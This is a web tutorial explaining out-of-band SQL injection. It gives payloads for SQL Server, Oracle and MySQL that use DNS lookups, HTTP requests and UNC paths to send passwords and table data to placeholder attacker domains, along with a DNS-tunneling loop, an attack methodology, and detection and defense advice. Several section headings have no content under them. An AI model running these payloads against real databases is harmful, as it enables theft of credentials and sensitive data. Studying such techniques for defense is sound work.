sqli - Out of Band

What is Out-of-Band SQL Injection?

Out-of-Band (OOB) SQL Injection is an advanced attack technique where attackers extract data from a database using alternative communication channels rather than the standard web application response channel. Unlike traditional SQL injection methods, OOB attacks leverage external network protocols to exfiltrate data.

Key Characteristics

Communication Channels Used

Why Use Out-of-Band Techniques?

Attackers resort to OOB SQL injection when:

  1. In-Band Attacks Fail: Standard SQL injection doesn't work
  2. Blind Injection is Too Slow: Time-based attacks are impractical
  3. Network Restrictions: Firewalls block direct data exfiltration
  4. Application Filtering: Web application filters prevent traditional attacks
  5. Large Data Extraction: Need to transfer substantial amounts of data efficiently

Attack Prerequisites

Technical Requirements

Common Vulnerable Configurations

Database-Specific Techniques

Microsoft SQL Server

xp_dirtree Command Exploitation

-- Force DNS lookup to attacker-controlled domain
DECLARE @data VARCHAR(100)
SELECT @data = (SELECT TOP 1 password FROM users WHERE username='admin')
EXEC xp_dirtree CONCAT('\\', @data, '.attacker-domain.com\share')

How it Works:

  1. Data Extraction: SQL query retrieves sensitive data (password)
  2. Domain Construction: Data is embedded in subdomain name
  3. DNS Request: xp_dirtree forces DNS lookup to attacker's domain
  4. Data Reception: Attacker's DNS server logs the subdomain containing data

Other SQL Server Functions

-- Using xp_fileexist for DNS exfiltration
EXEC xp_fileexist CONCAT('\\', @stolen_data, '.evil-domain.com\file.txt')

-- Using xp_subdirs for directory enumeration with DNS
EXEC xp_subdirs CONCAT('\\', @database_info, '.attacker.com\')

Oracle Database

UTL_HTTP Package Exploitation

-- Send HTTP request with stolen data
DECLARE
  response UTL_HTTP.resp;
  stolen_data VARCHAR2(100);
BEGIN
  SELECT password INTO stolen_data FROM users WHERE username='admin';
  response := UTL_HTTP.begin_request('http://attacker-server.com/collect?data=' || stolen_data);
  UTL_HTTP.end_request(response);
END;

Process Breakdown:

  1. Data Query: Extract sensitive information from database
  2. HTTP Request: Send data as URL parameter to attacker's server
  3. Data Collection: Attacker's web server logs the request with data

UTL_INADDR for DNS Exfiltration

-- Use DNS resolution for data exfiltration
SELECT UTL_INADDR.get_host_name(
  CONCAT(
    (SELECT password FROM users WHERE username='admin'),
    '.data-exfil.attacker.com'
  )
) FROM dual;

MySQL Database

LOAD_FILE() with UNC Paths

-- Force SMB connection to attacker-controlled server
SELECT LOAD_FILE(CONCAT('\\\\', 
  (SELECT password FROM users LIMIT 1), 
  '.attacker-domain.com\\share\\file.txt'));

Attack Methodology

Phase 1: Reconnaissance

  1. Database Type Identification: Determine target database system
  2. Function Availability: Check for external communication functions
  3. Network Connectivity: Test if database can reach external hosts
  4. Permission Assessment: Verify required privileges exist

Phase 2: Infrastructure Setup

  1. DNS Server Configuration: Set up authoritative DNS server
  2. Web Server Deployment: Configure HTTP listener for data collection
  3. Domain Registration: Obtain domains for data exfiltration
  4. Logging Mechanism: Implement data capture and storage

Phase 3: Data Exfiltration

  1. Payload Crafting: Create SQL injection with OOB components
  2. Data Encoding: Format data for transmission via chosen channel
  3. Request Execution: Trigger database to send external requests
  4. Data Collection: Capture and decode exfiltrated information

Advanced Techniques

DNS Tunneling

-- Break large data into multiple DNS requests
DECLARE @counter INT = 1
DECLARE @chunk VARCHAR(50)
WHILE @counter <= (SELECT LEN(sensitive_data)/50 FROM target_table)
BEGIN
  SET @chunk = SUBSTRING((SELECT sensitive_data FROM target_table), (@counter-1)*50+1, 50)
  EXEC xp_dirtree CONCAT('\\chunk', @counter, '-', @chunk, '.tunnel.attacker.com\x')
  SET @counter = @counter + 1
END

HTTP POST Exfiltration (Oracle)

-- Send larger datasets via HTTP POST
DECLARE
  req UTL_HTTP.req;
  resp UTL_HTTP.resp;
  stolen_data CLOB;
BEGIN
  SELECT xmlagg(xmlelement(e, column_name || ':' || column_value)).getClobVal()
  INTO stolen_data FROM sensitive_table;
  
  req := UTL_HTTP.begin_request('http://attacker.com/collect', 'POST');
  UTL_HTTP.set_header(req, 'Content-Type', 'application/x-www-form-urlencoded');
  UTL_HTTP.write_text(req, 'data=' || stolen_data);
  resp := UTL_HTTP.get_response(req);
  UTL_HTTP.end_response(resp);
END;

Detection and Monitoring

Network-Level Detection

Database-Level Detection

Indicators of Compromise

Defense Strategies

Network Security

  1. Firewall Rules: Block unnecessary outbound connections from database servers
  2. DNS Filtering: Prevent resolution of suspicious domains
  3. Network Segmentation: Isolate database servers from internet
  4. Proxy Configuration: Route database communications through monitored proxies

Database Hardening

  1. Function Restrictions: Disable unnecessary extended stored procedures
  2. Permission Management: Remove network access privileges where possible
  3. Input Validation: Implement strict SQL injection prevention
  4. Audit Configuration: Enable comprehensive database activity logging

Application Security

  1. Parameterized Queries: Use prepared statements exclusively
  2. Input Sanitization: Validate and encode all user inputs
  3. Error Handling: Implement consistent, non-revealing error messages
  4. Security Testing: Regular penetration testing and code reviews

Mitigation Best Practices

Immediate Actions

Long-term Security

Real-World Impact

Case Study Scenarios

  1. Corporate Espionage: Exfiltrating customer databases via DNS tunneling
  2. Financial Fraud: Stealing credit card data through HTTP requests
  3. Data Breaches: Large-scale information theft using email functionality
  4. Competitive Intelligence: Extracting business secrets via file operations

Conclusion

Out-of-Band SQL Injection represents one of the most sophisticated database attack techniques, requiring significant technical expertise and infrastructure. While complex to execute, these attacks can bypass many traditional security measures and extract large amounts of sensitive data.

Organizations must implement comprehensive defense strategies that address not only application-level vulnerabilities but also network and database-level security controls. The key to effective protection lies in understanding that modern SQL injection attacks extend far beyond simple web application responses.

Key Takeaways

Enter your search text in the box above

Select a result to preview